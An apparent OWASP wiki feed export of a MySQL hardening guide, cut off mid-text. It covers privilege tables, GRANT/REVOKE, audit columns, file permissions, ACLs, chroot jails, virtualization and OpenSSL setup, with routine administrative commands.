==== &amp;lt;tt&amp;gt;tables_priv&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;columns_priv&amp;lt;/tt&amp;gt; tables ====&lt;br /&gt;
The &amp;lt;tt&amp;gt;tables_priv&amp;lt;/tt&amp;gt; table exactly defines the permissions of users on per-table-basis, who may or may not set up select, insert, update, delete, create, drop, grant, references, index and alter commands. Also the Grantor, the timestamp of the GRANT-statement and of course username, database name and hostname are stored here. This is possibly the table where&lt;br /&gt;
user-based restrictions should be done.&lt;br /&gt;
&lt;br /&gt;
In comparison, the columns_priv table is structured like tables_priv, but holds less permissions and additionally defines a column_name column, telling us to which column the restriction/permission is refering.&lt;br /&gt;
&lt;br /&gt;
=== Access management via SQL ===&lt;br /&gt;
&lt;br /&gt;
All permissions and restrictions stored in the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; database, are classically managed via SQL, mainly using GRANT and REVOKE statements. While GRANT statements usually gives a permission to a user, the corresponding REVOKE statement disallows the user to own this certain permission.&lt;br /&gt;
&lt;br /&gt;
A GRANT statement consists of the permissions which are to be set, as well as the database and table it is refering to, and a user/hostname pair. For example:&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT, UPDATE on mysql.user TO root@localhost IDENTIFIED BY 'password'&lt;br /&gt;
&lt;br /&gt;
The REVOKE command is used adequatly. For a detailed description on GRANT and REVOKE you may consider having a look on the official MySQL reference [Vas04].&lt;br /&gt;
&lt;br /&gt;
There is no big difference between setting up permissions via the tables inside the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; database using DML or typing SQL GRANT and REVOKE statements. However, while the latter version will activate the permissions immediately, privilege settings applied by direct DML, deserve reloading the values. This can be done via FLUSH PRIVILEGES.&lt;br /&gt;
&lt;br /&gt;
There a several privileges only used for database administration, namely&lt;br /&gt;
* PROCESS, allowing the user to perform the processlist command,&lt;br /&gt;
* SHUTDOWN, allowing the user to shutdown the MySQL server via the shutdown command,&lt;br /&gt;
* SUPER, allowing the user to perform the kill command for killing certain MySQL threads,&lt;br /&gt;
* RELOAD, allowing the user to perform &amp;lt;tt&amp;gt;flush-hosts&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-logs&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-privileges&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-status&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-tables&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;flush-threads&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;refresh&amp;lt;/tt&amp;gt; as well as &amp;lt;tt&amp;gt;reload&amp;lt;/tt&amp;gt; commands. It's not recommended ever to give one of those permissions to ordinary users.&lt;br /&gt;
&lt;br /&gt;
Note, that these privileges are commonly not used via SQL-statements, but through using the mysqladmin shell command. This is a security related model, since a user who intends to force privilege escalation atempts on the MySQL server, will not be able to use this commands inside the standard MySQL shell. The above rights should be reduced to an absolute minimum of users.&lt;br /&gt;
&lt;br /&gt;
=== Setting up the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; password ===&lt;br /&gt;
Outside of the MySQL-shell, the server's administrator is able to execute the program &amp;lt;tt&amp;gt;mysqladmin&amp;lt;/tt&amp;gt;, which allows to set up administrative MySQL-specific tasks outside the DBMS, and partially, even when the database server doesn't actually run.&lt;br /&gt;
&lt;br /&gt;
One of the main tasks you should know about &amp;lt;tt&amp;gt;mysqladmin&amp;lt;/tt&amp;gt; is to set new passwords (typically the password for the root user himself):&lt;br /&gt;
&lt;br /&gt;
 mysqladmin -u root password &amp;lt;password-in-cleartext&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note that username and passwords can have a maximum length of 16 characters each, not more. To perform this task within MySQL, the following SQL-statement would be appropriate:&lt;br /&gt;
&lt;br /&gt;
 UPDATE user SET password = PASSWORD('secret') WHERE user = 'root';&lt;br /&gt;
&lt;br /&gt;
=== Tables and security functions ===&lt;br /&gt;
A very useful strategie is to (automatically) include certain security-related information in the main tables of the database model. Assume a table &amp;lt;tt&amp;gt;Customer&amp;lt;/tt&amp;gt;. We will now add a few more columns to this table, providing some logging information:&lt;br /&gt;
  CREATE TABLE Customer (&lt;br /&gt;
    CustomerNo INTEGER AUTO_INCREMENT PRIMARY KEY,&lt;br /&gt;
    Company VARCHAR(100),&lt;br /&gt;
    ...,&lt;br /&gt;
    Created DATETIME,&lt;br /&gt;
    Created_by VARCHAR(80),&lt;br /&gt;
    Updated DATETIME;&lt;br /&gt;
    Updated_by VARCHAR(80),&lt;br /&gt;
    Deleted DATETIME;&lt;br /&gt;
    Deleted_by VARCHAR(80)&lt;br /&gt;
  );&lt;br /&gt;
&lt;br /&gt;
As you may have already found out, we're about to additionally save exactly when who did what on this specific table. You may wonder why the VARCHAR() columns are 80 characters in length while usernames are restricted to a maximum of 16: That's because we'll also save the hostname from which the user is connecting from (max. 60 characters).&lt;br /&gt;
&lt;br /&gt;
When changing this table, the corresponding software should now just set up a statement like:&lt;br /&gt;
  UPDATE Customer&lt;br /&gt;
  SET Company = 'Somename Ltd.',&lt;br /&gt;
    Updated = SYSDATE(),&lt;br /&gt;
    Updated_by = USER()&lt;br /&gt;
  WHERE Company = 'Someothername Ltd.'&lt;br /&gt;
&lt;br /&gt;
If we're about to delete a table, to the same for deletion. It's commonly strongly recommended not to delete anything from an existing database instance. Therefore, when a dataset should be deleted, we just set the deletion date and the user who forced to execute the deletion:&lt;br /&gt;
  UPDATE Customer&lt;br /&gt;
  SET Deleted = SYSDATE(),&lt;br /&gt;
    Deleted_by = USER()&lt;br /&gt;
  WHERE Company = 'Someothername Ltd.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Check table consistencies and repair databases ===&lt;br /&gt;
For tables of type MyISAM (non-ACID) or InnoDB (ACID compliant), MySQL provides CHECK and REPAIR statements for tables. Especially the CHECK-routine can be done in several levels of detail:&lt;br /&gt;
&lt;br /&gt;
 CHECK TABLE Customer [QUICK|FAST|CHANGED|MEDIUM|EXTENDED]&lt;br /&gt;
&lt;br /&gt;
The options differ in several strategies.&lt;br /&gt;
* the QUICK-option will not do any checks on columns, but only basic table-related information&lt;br /&gt;
* the MEDIUM-option performs column-checks (e.g. dead links), and calculates a checksum over key-columns&lt;br /&gt;
* the CHANGED-option only inspects changes made on the table since the last check&lt;br /&gt;
* the EXTENDED-option checks and checksums all columns separately (which can take a while on bigger databases)&lt;br /&gt;
&lt;br /&gt;
Note: Since MySQL 5, also VIEWs can be used with the CHECK statement.&lt;br /&gt;
&lt;br /&gt;
If a table is damaged, consider trying the REPAIR statement.&lt;br /&gt;
  REPAIR TABLE tablename&lt;br /&gt;
&lt;br /&gt;
=== Setting up connection limits ===&lt;br /&gt;
&lt;br /&gt;
As shown in the table description of user, there are several options MySQL offers to limit certain resources of specific users.&lt;br /&gt;
&lt;br /&gt;
This includes three main clauses:&lt;br /&gt;
* The MAX_QUERIES_PER_HOUR clause defines a maximum set of queries which may be processed on per user and per host basis. For example, the statement GRANT SELECT on *.* TO root WITH MAX_QUERIES_PER_HOUR will limit the maximum queries available to user root to an amount of five per hour.&lt;br /&gt;
* MAX_UPDATES_PER_HOUR, controls the maximum amount of DML statements per hour, and&lt;br /&gt;
* MAX_CONNECTIONS_PER_HOUR controls the maximum of connection establishments per hour.&lt;br /&gt;
&lt;br /&gt;
All of those clauses cannot be applied on per-table or per-database basis, since they have to be stated via *.*. Every mentioned limitation is internally represented by counters, corresponding to the time (per hour). Those counter may easily be reset by invoking the command FLUSH USER_RESOURCES (the user which tries to flush, will need the RELOAD privilege). This statement will not remove the defined resource limits, but reset the counters.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
There is no absolute security for applications. The offered methods and technologies mentioned in this paper, can help making the environment much more secure where the MySQL daemon is running.&lt;br /&gt;
&lt;br /&gt;
We may use technologies like sandboxing and virtualization for isolating the MySQL processes from the environment, the database server is running in. This minimizes the possible negative consequences, if the daemon is getting compromised. The deployment and use of cryptographic routines for ciphering physical data and network traffic, reduces the risks of sniffing and man-in-the-middle attacks, as well as securing the whole data covered by the database if the data directory itself gets theft.&lt;br /&gt;
&lt;br /&gt;
A very big disadvantage of using programming languages which explicitely make use of pointers like C or C++, is the possibility of buffer overflows and attacks using this as basis. That’s not a conceptional mistake of MySQL, but makes the spectrum of possible attacks much wider. Using certain external software for checking those leaks is highly recommended. In such a case, the database server will just be terminated - which is not a desirable consequence, but far better than having an up and running but compromised instance.&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
The whole article is mainly based upon the original document Hardening MySQL on Unix-like systems, Erik Sonnleitner 2007, available at [www.delta-xi.net].&lt;br /&gt;
&lt;br /&gt;
* [AB05]      MySQL AB. Inside mysql 5.0 - a dba’s perspective, 2005.&lt;br /&gt;
* [Ale06]     Michael Alexander,  Huehtig, Netzwerke und Netzwerksicherheit. Telekommunikation, 2006. (ISBN 3826650484).&lt;br /&gt;
* [Amb07]     Eric Amberg. Linux-Server mit Debian. mitp, 2007. (ISBN 3826615875).&lt;br /&gt;
* [Bau02]     Michael Bauer. Building secure servers with Linux. O’Reilly, 2002. (ISBN 0596002173).&lt;br /&gt;
* [BLTR06] Johannes Bauer, Albrecht Liebscher, and Klaus Thielking-Riechert. OpenVPN. Grundlagen, Konfiguration, Praxis. Dpunkt Verlag, 2006. (ISBN 3898643964).&lt;br /&gt;
* [Cod70]     E. F. Codd. A relational model of data for large shared data banks. Communications of the ACM 13 (6), 377-387, 1970.&lt;br /&gt;
* [Eri03]     Jon Erickson. Hacking - the art of exploitation. No starch press, 2003. (ISBN 1593270070).&lt;br /&gt;
* [Ert03]     Wolfgang Ertel. Angewandte Kryptographie. Hanser Fachbuchverlag, 2003. (ISBN 3446223045).&lt;br /&gt;
* [Fos05]     James Foster. Buffer overflow attacks. Syngres Media, 2005. (ISBN 1932266674).&lt;br /&gt;
* [Gri05]     Lenz Grimmer. Mysql backup and security, 2005.&lt;br /&gt;
* [Kre04]     Juergen Kreileder. Chrooting mysql on debian, 2004.&lt;br /&gt;
* [MBBS07] Keith Murphy, Peter Brawley, Dan Buettner, and Baron Schwartz. Mysql magazine, 2007. Issue 1.&lt;br /&gt;
* [One]       Aleph One. Smashing the stack for fun and profit. Phrack magazine vol 49, File 14 of 16.&lt;br /&gt;
* [Pac05]     Lars Packshies. Praktische Kryptographie unter Linux. Open source press, 2005. (ISBN: 3937514066).&lt;br /&gt;
* [PW07]   Johannes Ploetner and Steffen Wendzel. Netzwerksicherheit. Galileo press, 2007. (ISBN 3898428286).&lt;br /&gt;
* [SBZD07] Henning Sprang, Timo Benk, Jaroslaw Zdrzalek, and Ralph Dehner. Xen. Virtualisierung unter Linux. Open source press, 2007. (ISBN 3937514295).&lt;br /&gt;
* [Sch05]  Bruce Schneier. Angewandte Kryptographie. Algorithmen, Protokolle und Sourcecode in C. Pearson Studium, 2005. (ISBN 0471117099).&lt;br /&gt;
* [SR07]   M. Stipcevic and B. Medved Rogina. Quantum random number generator. Rudjer Boskovic Institute, Bijenicka, Zagreb, Croata, 2007.&lt;br /&gt;
* [SWF05]  Ellen Siever, Aaron Weber, and Stephen Figgins. Linux in a nutshell. O’Reilly, 2005. (ISBN 0596009305).&lt;br /&gt;
* [Vas04]  Vikram Vaswani. MySQL: The complete reference. Mcgraw-Hill Professional, 2004. (ISBN 0072224770).&lt;br /&gt;
* [Wae03]  Dietmar Waetjen. Kryptographie. Grundlagen, Algorithmen, Protokolle. Spektrum Adakemischer Verlag, 2003. (ISBN 3827414318).&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_MySQL_Hardening&amp;diff=44165</id>
		<title>OWASP Backend Security Project MySQL Hardening</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_MySQL_Hardening&amp;diff=44165"/>
				<updated>2008-10-21T00:52:31Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Protection against stack-smashing and other memory corruption attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
* Firstly, we will deal about hardening the underlying operating system environment. This is an ultimately essential step towards application layer security, since also the best security mechnism and configuration won't be useful if the whole system is attackable one layer beyond the actual target application. Operating system hardening includes setting right filesystem permissions, the design and implementation of a virtual chroot-jail application executing environment, the use of access control lists as well as a quick introduction about modern virtualization approaches.&lt;br /&gt;
* The next topic will be about cryptography, which we will use to aid and secure our database instance at filesystem level and, possibly even more important, the DMBS' communication channels. This will be achieved using either OpenSSL, OpenSSH or OpenVPN. For encrypting the raw database pages themselves, we'll also take a look about filesystem encryption.&lt;br /&gt;
* Due to some quite aweful security bugs in the past, we'll discuss how the application's memory area can be protected against stack- and heap-smashing attacks for executing arbitrary code on the machine which actually executes the MySQL database server.&lt;br /&gt;
* Then we'll discuss certain security-related MySQL configuration attributes. MySQL is quite straight to configure, but nevertheless there are a few options which inside the configuration files which make life easier - and more secure.&lt;br /&gt;
* Finally the access control and privilege management mechanism of the MySQL DBMS itself will be explored and shown in some detail.&lt;br /&gt;
&lt;br /&gt;
The whole article is based on a paper on MySQL Hardening which can be obtained [http://delta-xi.net/index.php?/archives/23-Hardening-MySQL-on-Unix-like-systems.html here].&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
The enormous global increase of information which is to be stored, forces certain approaches of achiving and restoring data, while keeping track of numerous valuable and essential preconditions, e. g. data integrity.&lt;br /&gt;
&lt;br /&gt;
Relational databases are still the common way of accomplishing the storage of masses of information, although its conceptional basics reach back to 1970, where E. F. Codd firstly introduced this method of data handling [Cod70].&lt;br /&gt;
&lt;br /&gt;
As global networking dramatically increased the past decades, the TCP/IP protocol stack has become very popular and nowadays builds the fundamental backbone of the Internet. As conclusion to this tendency, also the way of controlling and operating relational database systems mostly relies on the mentioned protocol suites, with all advantages and disadvantages, inherently given by using them.&lt;br /&gt;
&lt;br /&gt;
Accessability and reliability of information services is often constrained by providing them over the Internet, which should be seen as naturally untrusted and insecure network, since not only permitted persons are able to try to establish connections. With the aspect of Unix-like system environments in mind, I’ll figure out how to secure and harden database systems primarily on Linux, taking MySQL 5 as example, since this software is commonly used and widespread, especially over the Internet, for it is Open Source Software. Except for the description of filesystem encryption, all examples should work also on other POSIX compliant operating systems than Linux.&lt;br /&gt;
&lt;br /&gt;
The language of given sourcecodes should be clear from the context they are mentioned. However, shell scripts are written using the Bourne Again Shell (/bin/bash), and most sources are plain C. When shell command examples are given, every line is prefixed with either # or $. While the hash indicates that the following statement has to be called as root user, the dollarsign commands doesn’t need administrative permissions.&lt;br /&gt;
&lt;br /&gt;
== Hardening the operating system environment ==&lt;br /&gt;
Common Unix-like systems offer a wide range of security related tools and methods for obtaining access restrictions. The configuration of certain software packages like databases is assuredly to be done carefully and with respect to secureness. &lt;br /&gt;
&lt;br /&gt;
Nevertheless, a system-wide security model for protecting information and information services should begin (at least) at operating system level. &lt;br /&gt;
&lt;br /&gt;
A perfectly configured Oracle Database Server, including DMBS account and role management etc., won’t be useful if everybody may be able to simply copy the raw data from the filesystem for obtaining the desired information quickly and easily. For more in-depth information about Unix and the Unix system environment, I’d refer to [SWF05], [Amb07] and [Bau02].&lt;br /&gt;
&lt;br /&gt;
=== Filesystem access restrictions and ACLs ===&lt;br /&gt;
Most suitable filesytems available on POSIX environments provide mechanisms of restricing methods of access in an abrasive way, using (at least) three types of access mode codes, and three ways of describing for whom those modes apply.&lt;br /&gt;
&lt;br /&gt;
The basic filesystem permissions are&lt;br /&gt;
* read (→ 'r'),&lt;br /&gt;
* write (→ 'w'), and&lt;br /&gt;
* execute (→ 'x')&lt;br /&gt;
&lt;br /&gt;
which can be individually referred to &lt;br /&gt;
* the user which is the owner of the filesystem object, e.g. a file or a directory (→ 'u'),&lt;br /&gt;
* the group of persons which belong to the (main) group of the owner (→ 'g' ), and&lt;br /&gt;
* all others (→ 'o').&lt;br /&gt;
&lt;br /&gt;
Taking the major configuration file of MySQL, which is normally found at &amp;lt;tt&amp;gt;/etc/mysql/my.cnf&amp;lt;/tt&amp;gt;, the filesystem rights are given as following:&lt;br /&gt;
  $ ls -lh /etc/mysql/my.cnf&lt;br /&gt;
  -rw-r--r-- 1 root root 3.7K 2007-07-18 00:14 /etc/mysql/my.cnf&lt;br /&gt;
&lt;br /&gt;
The access rights are shown in the string &amp;lt;tt&amp;gt;-rw-r--r--&amp;lt;/tt&amp;gt;. Disregarding the first &amp;lt;tt&amp;gt;-&amp;lt;/tt&amp;gt; character, Unix returns basically a nine-character string, which is to be read in triples, as &amp;lt;tt&amp;gt;rw-|r--|r--&amp;lt;/tt&amp;gt;. The first triple describes the permissions of the owner, the second the permissions of the owner’s group and the third triple refers to all other users. Therefore, only the owner of the file (the root user, the administrator) is allowed to modify the file because of the write permission - users in the same group as well as all other system users may only read the object. The upcoming columns, both entitled as root describe the owner of the object, and group membership belonging of the object. As we see, the &amp;lt;tt&amp;gt;my.cnf&amp;lt;/tt&amp;gt; file is owned by the user root and belongs to the system group root.&lt;br /&gt;
&lt;br /&gt;
The configuration files should always belong to the &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; user, and only permit &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; to write on these objects, since nobody else should be able to modify its contents in any way. The right permission settings may be assured by&lt;br /&gt;
&lt;br /&gt;
 # chown -R root:root /etc/mysql/&lt;br /&gt;
 # chmod 0644 /etc/mysql/my.cnf&lt;br /&gt;
&lt;br /&gt;
In dependency on what other configuration files MySQL actually is referring to, the &amp;lt;tt&amp;gt;chmod&amp;lt;/tt&amp;gt; command may also be applied to other items inside the &amp;lt;tt&amp;gt;/etc/mysql/&amp;lt;/tt&amp;gt; directory.&lt;br /&gt;
&lt;br /&gt;
==== Storage data ====&lt;br /&gt;
MySQL stores the actual data (tables, etc.) in &amp;lt;tt&amp;gt;/var/lib/mysql&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;$MYSQL/data&amp;lt;/tt&amp;gt; by default. In contrast to the configuration files, the data storage files should not be owned by the administrator, but by a completely unprivileged user, normally called &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt;, which isn’t allowed to to anything else inside the Unix system as what is absolutely necessary. Besides the administrator of course, nobody should be able to read and/or modify these objects, therefore we completely revoke any rights of the others user section and just let &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; read and write.&lt;br /&gt;
&lt;br /&gt;
Moreover, the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; user should by no means be able to invoke a command shell. This assures that crackers arn't be able to login at the server system, even if this user has been hacked. Revoking command shells is done within &amp;lt;tt&amp;gt;/etc/passwd&amp;lt;/tt&amp;gt;, by changing the last column of the mysql user from &amp;lt;tt&amp;gt;/bin/bash&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;/bin/false&amp;lt;/tt&amp;gt;. The program given here will be invoked when a user has been successfully authenticated by the system.&lt;br /&gt;
&lt;br /&gt;
==== Logfiles ====&lt;br /&gt;
MySQL commonly logs every event, relevant to the database. Absolutely no other users than &amp;lt;tt&amp;gt;root&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; should be able to read or write the logs, preventing the leaking of information out of the logfiles. For example, certain queries like &amp;lt;tt&amp;gt;GRANT&amp;lt;/tt&amp;gt; may offer sensitive information like user passwords, which are stored plaintext inside the protocol files. The logs are normally owned by the &amp;lt;tt&amp;gt;mysql&amp;lt;/tt&amp;gt; user, since MySQL needs to write the events here (in contraty to the configuration files, only the administrator should be able to modify, not the MySQL system).&lt;br /&gt;
&lt;br /&gt;
==== Access control lists ====&lt;br /&gt;
ACLs, or Access control lists offer a very granular method of defining and granting permissions. As opposed to the standard Unix filesystem permissions, POSIX ACLs are not built-in in the filesystem device driver (as done in &amp;lt;tt&amp;gt;ext2/3&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;reiserfs&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;xfs&amp;lt;/tt&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
The usage of ACLs offers mechanisms for setting up per-user-permissions of single filesystem objects and therefore provide fine-grained definitions of access restrictions, if needed. The corresponding POSIX commands are &amp;lt;tt&amp;gt;getfacl&amp;lt;/tt&amp;gt; for viewing ACLs, and &amp;lt;tt&amp;gt;setfacl&amp;lt;/tt&amp;gt; for setting up an ACL. These features may be useful to add certain permissions to other users (e. g. automatic logfile analyzers). The following example quickly shows the usage of &amp;lt;tt&amp;gt;setfacl&amp;lt;/tt&amp;gt;, allowing the user syslog to write on the MySQL log files:&lt;br /&gt;
  # setfacl -m user:syslog:-w- /var/log/mysql/*&lt;br /&gt;
&lt;br /&gt;
=== Designing a chroot-jail ===&lt;br /&gt;
Even when accurately managing user- and group-memberships as well as read and write permissions to the relevant MySQL filesystem objects, we should assure, that, in case of a successful attack, the system environment does not get compromised in any way. Numerous attacks have been reported on this topic. When talking about attacks, we now commonly mean attacks from within the database system, when users or programs try to gain sensitive system parameters like the &amp;lt;tt&amp;gt;/etc/shadow&amp;lt;/tt&amp;gt; file or logfiles via outfoxing the DMBS.&lt;br /&gt;
&lt;br /&gt;
That’s why we need to create a sandbox-like environment where MySQL runs within and is restricted to. In terms of POSIX systems, this is called a change root - environment, or &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt;-jail named by the corresponding command chroot. In the early Eighties when nowadays keywords like virtualization havn’t been born, Bill Joy introduced the concept of the chroot command which can be seen as forerunner of an virtual system environment.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; basically repositions the global root directory (/) via remapping it into a specific directory of any directory within the filesystem tree. Any commands, applications, users etc. which act within the chroot-environment actually don’t know that they are working in a sandbox and should have no chance for accessing any part of the filesystem outside the jailed area.&lt;br /&gt;
&lt;br /&gt;
==== Manually designing a sandbox ====&lt;br /&gt;
Since the jailed environment won’t be able to access the rest of the filesystem, all relevant system objects like binaries, libraries, the directory structure, logs, etc. have to be copied into the sandbox.&lt;br /&gt;
&lt;br /&gt;
The easiest way to accomplish this by hand, is to get an official static build of MySQL, which doesn’t mandatorily rely on external dymanic libraries (shared objects, respectively) and defines the right directory structure. The first step is to download and unpack the package, as shown here by example of MySQL 5.0.45:&lt;br /&gt;
  $ export MYSQL_CHROOT=/chroot/mysql&lt;br /&gt;
  # mkdir -p $MYSQL_CHROOT&lt;br /&gt;
  # cd $MYSQL_CHROOT&lt;br /&gt;
  $ wget http://$SERVER/mysql-5.0.45-linux-i686.tar.gz&lt;br /&gt;
  $ tar xfz mysql-5.0.45-linux-686.tar.gz&lt;br /&gt;
  $ MYSQL_CHROOT=$MYSQL_CHROOT/mysql-5.0.45-linux-i686&lt;br /&gt;
  $ cd $MYSQL_CHROOT&lt;br /&gt;
&lt;br /&gt;
We have now prepared a basically functional MySQL environment. Nevertheless, we want to have at least a working shell, as well as some system-wide configuration files needed by MySQL. Therefore we need to copy &amp;lt;tt&amp;gt;/bin/bash&amp;lt;/tt&amp;gt; to the sandbox. Since the Linux Bash also depends on certain libraries, it’s necessary to find out which libraries are needed, using the &amp;lt;tt&amp;gt;ldd&amp;lt;/tt&amp;gt; command:&lt;br /&gt;
&lt;br /&gt;
  $ ldd /bin/bash&lt;br /&gt;
  linux-gate.so.1 = &amp;gt;    (0xffffe000)&lt;br /&gt;
  libncurses.so.5 = &amp;gt; /lib/libncurses.so.5 (0xb7f8f000)&lt;br /&gt;
  libdl.so.2 = &amp;gt; /lib/i686/cmov/libdl.so.2 (0xb7f8b000)&lt;br /&gt;
  libc.so.6 = &amp;gt; /lib/i686/cmov/libc.so.6(0xb7e42000)&lt;br /&gt;
  /lib/ld-linux.so.2 (0xb7fd9000)&lt;br /&gt;
&lt;br /&gt;
Now we’ll just need to copy the given objects in the corresponding directories of the sandbox. This can be done manually file by file, or simply with the following piece of code:&lt;br /&gt;
&lt;br /&gt;
     $ for i in `ldd /bin/bash | awk '{print $3}' | egrep '^/.*'`; do&lt;br /&gt;
       mkdir -p &amp;quot; ./`dirname $i` &amp;quot; ;&lt;br /&gt;
       cp $i ./`dirname $i`;&lt;br /&gt;
     done&lt;br /&gt;
     cp /bin/bash ./bin&lt;br /&gt;
&lt;br /&gt;
Since MySQL also uses some shell scripts, it will also need the following files:&lt;br /&gt;
     $ for i in /bin/hostname /bin/chown /bin/chmod /bin/touch&lt;br /&gt;
           /bin/date /bin/rm /usr/bin/tee /usr/bin/dirname&lt;br /&gt;
           /etc/passwd /etc/group /lib/librt.so.1 /lib/libthread.so.0; do&lt;br /&gt;
       mkdir -p &amp;quot;./`dirname $i`&amp;quot; ;&lt;br /&gt;
       cp $i ./`dirname $i`;&lt;br /&gt;
     done&lt;br /&gt;
&lt;br /&gt;
We can now initially start the MySQL Server inside the chroot-environment by calling&lt;br /&gt;
  # chroot $MYSQL_CHROOT /bin/mysqld_safe&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; command now repositions the global root node / for the command &amp;lt;tt&amp;gt;mysqld_safe&amp;lt;/tt&amp;gt;. If an attacker forces to gain access of the system behind the database server, he’s limited to MySQL’s root directroy, which is represented by the &amp;lt;tt&amp;gt;$MYSQL_CHROOT&amp;lt;/tt&amp;gt; environment variable, and pointing to &amp;lt;tt&amp;gt;/chroot/mysql&amp;lt;/tt&amp;gt; of the real filesystem behind the sandbox.&lt;br /&gt;
&lt;br /&gt;
=== MySQL's built-in chroot mechanism ===&lt;br /&gt;
&lt;br /&gt;
The MySQL database server &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; also has a built-in chrooting-functionality which can be given as command line argument before startup. In case of having all important files (including the corresponding directory structure) inside &amp;lt;tt&amp;gt;/chroot_env/mysqld/&amp;lt;/tt&amp;gt;, the following call would force MySQL to programatically chroot to the specified directory.&lt;br /&gt;
&lt;br /&gt;
 # mysqld --chroot=/chroot_env/mysqld&lt;br /&gt;
&lt;br /&gt;
Note that &amp;lt;tt&amp;gt;mysqld&amp;lt;/tt&amp;gt; will not be able to start up if the given environment lacks on integrity of needed files.&lt;br /&gt;
&lt;br /&gt;
=== Modern virtualization approaches ===&lt;br /&gt;
&lt;br /&gt;
Since &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; can be seen as an old-school pseudo-virtualisation, just keeping the MySQL server in a sandbox of an existing system, modern approaches have shown that virtualization and para-virtualization are leading the way of running multiple operating system kernels on one machine.&lt;br /&gt;
&lt;br /&gt;
Therefore, there is no need of creating a sandbox, since every server-system may run in a completely isolated full featured Unix system, while all of these (virtual) servers are run on one single physical server.&lt;br /&gt;
&lt;br /&gt;
The most common ways of aquiring an virtual server environment are currently the open-source project Xen as well as the comparable closed-source software VMWare ESX Server. Basically, those projects provide a so called Hypervisor, which can be seen as an additional abstraction layer, between the system’s hardware and the operating sytstem’s kernels. The hypervisor manages to devide the system resources by the running kernels, independent on which operating systems are used above the hypervisor, without producing much overhead in comparison to natively running the virtualized operating systems.&lt;br /&gt;
&lt;br /&gt;
Since the installation of MySQL on a virtual server is done exactly like a normal installation, I won’t provide more information on this topic within this paper, but I’d refer to [SBZD07].&lt;br /&gt;
&lt;br /&gt;
Another way of performing system restrictions are security suites like the NSA SELinux, as well as Novell AppArmor. Those applications aim to spy and re- strict the behaviour of certain programs and what they are trying to perform on the filesystem as well as via system calls.&lt;br /&gt;
&lt;br /&gt;
== Cryptographic appliances ==&lt;br /&gt;
=== Encrypting network traffic ===&lt;br /&gt;
&lt;br /&gt;
For encrypting network traffic, there are several differnet ways. One may use&lt;br /&gt;
* OpenSSL as MySQL's built-in cryptosystem,&lt;br /&gt;
* OpenSSH as external tunneling application, or&lt;br /&gt;
* OpenVPN tunneling.&lt;br /&gt;
&lt;br /&gt;
All cryptographic implementations are available for every platform MySQL is capable of, and all three use strong encryption. Using OpenSSL deserves some MySQL internal configuration, and is based on certificates. This may be a good choice if there already is a public-key-infrastructure (PKI) available.&lt;br /&gt;
&lt;br /&gt;
OpenVPN provides a link between two trusted private networks, over an untrusted (mostly non-private) network (normally the Internet). This needs an OpenVPN gateway server, which should commonly not be run on the same machine as the MySQL daemon does due to security reasons. Setting up an VPN tunnel is normally done to encrypt the whole network traffic between two parties, and deserves deeper knowledge of configuring a VPN gateway. Therefore, I won’t provide information on this variant, which can be obtained from [BLTR06].&lt;br /&gt;
&lt;br /&gt;
An OpenSSH tunnel is easy to setup and maintain, as well as secure and well-known to most Unix users.&lt;br /&gt;
&lt;br /&gt;
==== OpenSSL ====&lt;br /&gt;
For using OpenSSL encryption, the MySQL server has to be capable of understanding OpenSSL. Most standard MySQL packages of the common Linux distributions already offer OpenSSL-enabled MySQL services out of the box. If not, you may compile the sources of MySQL manually and run the &amp;lt;tt&amp;gt;configure&amp;lt;/tt&amp;gt; script with the option &amp;lt;tt&amp;gt;--with-vio --with-openssl&amp;lt;/tt&amp;gt;. OpenSSL activation forces the environment variable have_openssl to be set to &amp;lt;tt&amp;gt;YES&amp;lt;/tt&amp;gt;. This can be checked by&lt;br /&gt;
      mysql &amp;gt; SHOW VARIABLES LIKE ’%openssl%’;&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
      | Variable_name | Value |&lt;br /&gt;
      +---------------+-------+&lt;br /&gt;
      | have_openssl  | YES   |&lt;br /&gt;
